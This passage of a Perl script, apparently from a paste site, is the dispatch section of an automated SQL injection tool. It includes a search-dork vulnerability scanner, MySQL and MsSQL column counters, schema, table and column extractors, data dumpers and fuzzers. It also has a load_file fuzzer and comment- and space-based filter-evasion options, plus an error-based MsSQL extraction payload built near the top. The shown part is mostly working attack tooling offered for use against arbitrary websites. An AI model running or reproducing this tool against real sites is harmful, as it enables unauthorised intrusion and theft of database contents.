  759.              push (@dumpdata,$1);
  760.              $start = "(";
  761.              $data .= ",'$1'";
  762.              $end   = ")";
  763.              $total = $start.$data.$end;
  764.              $table = "convert(int,(select".$add."top".$add."1".$add."$colmextrct".$add."from".$add."$tblextrct".$add."where".$add."$colmextrct".$add."not".$add."in".$add."$total"."));--";
  765.          }
  766.      }
  767.      if (defined($vulnfile))
  768.      {
  769.          open(vuln_file,">>$vulnfile") ;
  770.          print vuln_file "[!] Target            : $site\n";
  771.          print vuln_file "[!] evasion           : $ev\n";
  772.          print vuln_file "[!] Data  :: ----     \n\n\n";
  773.          $i=0;
  774.          foreach(@dumpdata)
  775.          {
  776.              print vuln_file $dumpdata[$i]."\n";
  777.              $i++;
  778.          }
  779.          close(vuln_file);
  780.          print "\n[+] Result Saved to $vulnfile\n";
  781.      }
  782. }
  783.  
  784. variables();
  785. main();
  786.  
  787. if (defined($search_dork))
  788. {
  789.      print "[+] Vulnerability Scan\n" ;
  790.      print "[+] Dork : $search_dork\n\n\n" ;
  791.      vulnscanner();
  792.      if (defined($vulnfile))
  793.      {
  794.          open(vuln_file,">>$vulnfile") ;
  795.          print vuln_file @mysqlvuln;
  796.          print vuln_file @mssqlvuln;
  797.          print vuln_file @accessvuln;
  798.          close(vuln_file);
  799.          print "[+] Result Saved to $vulnfile\n";
  800.          exit();
  801.      }
  802. }
  803.  
  804. if (defined($mysql_count_target))
  805. {
  806.      print "[+] MySQL Column Counter\n\n" ;
  807.      print "[+] Target : $mysql_count_target\n" ;
  808.      if ($evasion eq '/*')
  809.      {
  810.          print "[+] Evasion : /**/\n" ;
  811.      }
  812.      elsif ($evasion eq '%20')
  813.      {
  814.          print "[+] Evasion : %20\n" ;
  815.      }
  816.      else
  817.      {
  818.          print "[+] Evasion : --\n" ;
  819.          $evasion = "--"
  820.      }
  821.      mysqlcount($mysql_count_target,$evasion);
  822. }
  823.  
  824. if (defined($mysql_details_target))
  825. {
  826.      print "[+] MySQL database details\n\n" ;
  827.      print "[+] Target : $mysql_details_target\n" ;
  828.      if ($evasion eq '/*')
  829.      {
  830.          print "[+] Evasion : /**/\n" ;
  831.      }
  832.      elsif ($evasion eq '%20')
  833.      {
  834.          print "[+] Evasion : %20\n" ;
  835.      }
  836.      else
  837.      {
  838.          print "[+] Evasion : --\n" ;
  839.          $evasion = "--"
  840.      }
  841.      mysqldetails($mysql_details_target,$evasion);
  842. }
  843.  
  844. if (defined($mysql_schema_target))
  845. {
  846.      print "[+] MySQL Schema Extractor details\n\n" ;
  847.      print "[+] Target : $mysql_schema_target\n" ;
  848.      if ($evasion eq '/*')
  849.      {
  850.          print "[+] Evasion : /**/\n" ;
  851.      }
  852.      elsif ($evasion eq '%20')
  853.      {
  854.          print "[+] Evasion : %20\n" ;
  855.      }
  856.      else
  857.      {
  858.          print "[+] Evasion : --\n" ;
  859.          $evasion = "--"
  860.      }
  861.      mysqlschema($mysql_schema_target,$evasion);
  862. }
  863.  
  864. if (defined($mysql_dump_target))
  865. {
  866.      if (!defined($sql_dump_column))
  867.      {
  868.          print "[!] Please Defind At Least A Column\n";
  869.          exit();
  870.      }
  871.      elsif (!defined($sql_dump_table))
  872.      {
  873.          print "[!] Please Defind Table Name\n";
  874.          exit();
  875.      }
  876.      else
  877.      {
  878.          print "[+] MySQL Data Dumper details\n\n" ;
  879.          print "[+] Target : $mysql_dump_target\n" ;
  880.          if ($evasion eq '/*')
  881.          {
  882.              print "[+] Evasion : /**/\n" ;
  883.          }
  884.          elsif ($evasion eq '%20')
  885.          {
  886.              print "[+] Evasion : %20\n" ;
  887.          }
  888.          else
  889.          {
  890.              print "[+] Evasion : --\n" ;
  891.              $evasion = "--"
  892.          }
  893.          mysqldump($mysql_dump_target,$sql_dump_column,$sql_dump_table,$evasion);
  894.      }   
  895. }
  896.  
  897. if (defined($mysql_fuzz_table))
  898. {
  899.      if(!defined($word_list))
  900.      {
  901.          print "[!] Please Define A list of tables to load\n";
  902.          exit();
  903.      }   
  904.      else
  905.      {
  906.          print "[+] MySQL Tables Fuzzer\n\n" ;
  907.          print "[+] Target : $mysql_fuzz_table\n" ;
  908.          if ($evasion eq '/*')
  909.          {
  910.              print "[+] Evasion : /**/\n" ;
  911.          }
  912.          elsif ($evasion eq '%20')
  913.          {
  914.              print "[+] Evasion : %20\n" ;
  915.          }
  916.          else
  917.          {
  918.              print "[+] Evasion : --\n" ;
  919.              $evasion = "--"
  920.          }
  921.          mysqlfuzztable($mysql_fuzz_table,$evasion,$word_list);  
  922.      }
  923. }
  924.  
  925. if (defined($mysql_fuzz_column))
  926. {
  927.      if(!defined($word_list))
  928.      {
  929.          print "[!] Please Define A list of tables to load\n";
  930.          exit();
  931.      }   
  932.      elsif(!defined($sql_dump_table))
  933.      {
  934.          print "[!] Please Define A Table To Fuzz it's Columns\n";
  935.          exit();
  936.      } 
  937.      else
  938.      {
  939.          print "[+] MySQL Columns Fuzzer\n\n" ;
  940.          print "[+] Target : $mysql_fuzz_column\n" ;
  941.          if ($evasion eq '/*')
  942.          {
  943.              print "[+] Evasion : /**/\n" ;
  944.          }
  945.          elsif ($evasion eq '%20')
  946.          {
  947.              print "[+] Evasion : %20\n" ;
  948.          }
  949.          else
  950.          {
  951.              print "[+] Evasion : --\n" ;
  952.              $evasion = "--"
  953.          }
  954.          mysqlfuzzcolumn($mysql_fuzz_column,$evasion,$word_list,$sql_dump_table);    
  955.      }
  956. }
  957.  
  958. if (defined($mysql_load_file))
  959. {
  960.      if(!defined($word_list))
  961.      {
  962.          print "[!] Please Define A list of tables to load\n";
  963.          exit();
  964.      }   
  965.      else
  966.      {
  967.          print "[+] MySQL Load_File Fuzzer\n\n" ;
  968.          print "[+] Target : $mysql_load_file\n" ;
  969.          if ($evasion eq '/*')
  970.          {
  971.              print "[+] Evasion : /**/\n" ;
  972.          }
  973.          elsif ($evasion eq '%20')
  974.          {
  975.              print "[+] Evasion : %20\n" ;
  976.          }
  977.          else
  978.          {
  979.              print "[+] Evasion : --\n" ;
  980.              $evasion = "--"
  981.          }
  982.          mysqlfile($mysql_load_file,$evasion,$word_list);    
  983.      }
  984. }
  985.  
  986. if (defined($mssql_details_target))
  987. {
  988.      print "[+] MsSQL DB Details\n\n" ;
  989.      print "[+] Target : $mssql_details_target\n" ;
  990.      if ($evasion eq '/*')
  991.      {
  992.          print "[+] Evasion : /**/\n" ;
  993.      }
  994.      elsif ($evasion eq '%20')
  995.      {
  996.          print "[+] Evasion : %20\n" ;
  997.      }
  998.      else
  999.      {
  1000.          print "[+] Evasion : --\n" ;
  1001.          $evasion = "--"
  1002.      }
  1003.      mssqldetails($mssql_details_target,$evasion);   
  1004. }
  1005.  
  1006. if (defined($mssql_table_target))
  1007. {
  1008.      print "[+] MsSQL Tables Extractor\n\n" ;
  1009.      print "[+] Target : $mssql_table_target\n" ;
  1010.      if ($evasion eq '/*')
  1011.      {
  1012.          print "[+] Evasion : /**/\n" ;
  1013.      }
  1014.      elsif ($evasion eq '%20')
  1015.      {
  1016.          print "[+] Evasion : %20\n" ;
  1017.      }
  1018.      else
  1019.      {
  1020.          print "[+] Evasion : --\n" ;
  1021.          $evasion = "--"
  1022.      }
  1023.      mssqltable($mssql_table_target,$evasion);   
  1024. }
  1025.  
  1026. if (defined($mssql_column_target))
  1027. {
  1028.      if(!defined($sql_dump_table))
  1029.      {
  1030.          print "[!] Please Defind At Least A Table do Extract from\n";
  1031.          exit();
  1032.      }
  1033.      else
  1034.      {
  1035.          print "[+] MsSQL Columns Extractor\n\n" ;
  1036.          print "[+] Target : $mssql_column_target\n" ;
  1037.          if ($evasion eq '/*')
  1038.          {
  1039.              print "[+] Evasion : /**/\n" ;
  1040.          }
  1041.          elsif ($evasion eq '%20')
  1042.          {
  1043.              print "[+] Evasion : %20\n" ;
  1044.          }
  1045.          else
  1046.          {
  1047.              print "[+] Evasion : --\n" ;
  1048.              $evasion = "--"
  1049.          }
  1050.          mssqlcolumn($mssql_column_target,$evasion,$sql_dump_table);     
  1051.      }
  1052. }
  1053.  
  1054. if (defined($mssql_dump_target))
  1055. {
  1056.      if(!defined($sql_dump_table))
  1057.      {
  1058.          print "[!] Please Defind At Least A Table\n";
  1059.          exit();
  1060.      }
  1061.      elsif(!defined($sql_dump_column))
  1062.      {
  1063.          print "[!] Please Defind At Least A Column\n";
  1064.          exit();
  1065.      }
  1066.      else
  1067.      {
  1068.          print "[+] MsSQL Data Dumper\n\n" ;
  1069.          print "[+] Target : $mssql_dump_target\n" ;
  1070.          if ($evasion eq '/*')
  1071.          {
  1072.              print "[+] Evasion : /**/\n" ;
  1073.          }
  1074.          elsif ($evasion eq '%20')
  1075.          {
  1076.              print "[+] Evasion : %20\n" ;
  1077.          }
  1078.          else
  1079.          {
  1080.              print "[+] Evasion : --\n" ;
  1081.              $evasion = "--"
  1082.          }
  1083.          mssqldump($mssql_dump_target,$evasion,$sql_dump_table,$sql_dump_column);    
  1084.      }
  1085. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement